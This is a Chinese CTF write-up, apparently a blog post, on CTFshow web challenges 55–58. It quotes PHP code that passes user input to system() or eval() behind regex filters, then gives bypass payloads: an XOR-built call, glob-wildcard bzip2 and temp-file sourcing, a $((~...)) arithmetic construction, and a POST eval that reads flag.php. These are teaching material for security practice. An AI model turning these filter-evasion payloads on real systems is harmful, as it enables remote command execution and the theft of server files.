web55
<?php
/*
-*- coding: utf-8 -*-
@Author: Lazzaro
@Date: 2020-09-05 20:49:30
@Last Modified by: h1xa
@Last Modified time: 2020-09-07 20:03:51
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
c=_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(FILE);
}
遇到这类题目解法比较固定,这类题目一个解法是无字母RCE,运用自增和异或相关脚本构造system ls的另外形式,比如:("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
CTFshow web(命令执行 41-44)-CSDN博客
我的上一篇文章有介绍,建议可以去看看
这里是另外的做法:
利用 bzip2打包,然后访问打包文件
c=/???/???/????2 ????.??? //对 flag.php 进行打包,默认打包后缀 bz2
接下来直接访问 url/flag.php.bz2,进行下载,获取 flag
直接等同于/usr/bin/bzip2 flag.php
题目知识点学习(牢牢掌握):
-
/bin
目录:/bin
是系统的二进制目录之一,用于存放基本的执行命令。这些命令通常是系统启动和基本功能所必需的,因此在系统启动过程中就能访问到。 -
公用命令:
/bin
目录存放了许多常用的命令,如ls
、cp
、mv
、rm
、mkdir
、cat
等。这些命令用于完成文件和目录的管理、文本处理、文件传输等常见操作。 -
可执行文件:
/bin
目录下的文件都是可执行文件,可以通过在命令行中输入命令来执行它们。 -
环境变量
PATH
:在环境变量PATH
中包含了一组目录的路径,其中包括/bin
目录。这意味着当您在命令行中输入一个命令时,系统会自动搜索/bin
目录以确认命令的可执行文件所在位置。 -
访问权限:
/bin
目录下的文件通常有很高的访问权限,只有具有适当权限的用户才能对这些文件进行执行、读取或修改操作。通常,这些命令文件属于系统管理员(root)或具有特定权限的用户。
总结:其实过滤越多,越大的题目,看似面临着绝境,但其实也往往是机遇,因为这告诉你方向无非就两个:无回显RCE,以及/bin目录命令执行过滤,在过滤如此之大的时候其他方法都比较困难,这里掌握方法后直接套用就好了 。
web56
<?php
/*
-*- coding: utf-8 -*-
@Author: Lazzaro
@Date: 2020-09-05 20:49:30
@Last Modified by: h1xa
@Last Modified time: 2020-09-07 22:02:47
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
c=_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(FILE);
}
/bin
目录存放了许多常用的 Shell 命令,这些命令是通过 Shell 解释器来执行的,
其实也可以直接归属到shell命令里面,这里过滤的更恐怖数字字母都没有了,无回显RCE也很困难,这里直接使用shell命令
在linux里面临时存放文件的目录可能会被定时删除这个目录是/tmp,然后一般网页文件会命名为php???,后面是随机的字母,即:/tmp/phpXXXXXX
所以需要规定一个范围[@-[],从@-[就是26个字母然后关于上传文件的内容
php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了
直接上POSTman
payload:
?c=. /???/????????[@-[]
POSTman使用:
在Postman中上传文件的方法如下:
打开后变成POST,把网页复制然后点击Body,
点击file模式,自己选择上传的文件,然后把名字写进去,最后Send就好
文件内容:
#!/bin/sh
cat flag.php
web57
<?php
/*
-*- coding: utf-8 -*-
@Author: h1xa
@Date: 2020-09-05 20:49:30
@Last Modified by: h1xa
@Last Modified time: 2020-09-08 01:02:56
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
c=_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(FILE);
}
这里一句话:其实就是构造出36
问题是过滤了数字的情况下怎么弄出36
那就回到了无回显RCE问题了
原理是:
${_}=""
$((${_}))=0
$((~$((${_}))))=-1
然后拼接出-36再进行取反
//${_}会输出上一次的执行结果
payload:$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
web58
<?php
/*
-*- coding: utf-8 -*-
@Author: Lazzaro
@Date: 2020-09-05 20:49:30
@Last Modified by: h1xa
@Last Modified time: 2020-09-07 22:02:47
@email: h1xa@ctfer.com
@link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(FILE);
}
这里好多了,其实就是一个禁用函数,我还是那句话,如果你不知道对面禁用了啥,那就一个一个地尝试!!!
可以看看我的一篇文章,有很多命令执行语句攻击总结
一个个丢进去,看那个能够中奖吧,因为你不知道对面过滤了啥!
payload:
POST:c=echo file_get_contents('flag.php');
PS:真诚地希望我的文章能够帮助大家,今年过年也是如约抽空更新了,祝愿各位龙年吉祥,谢谢!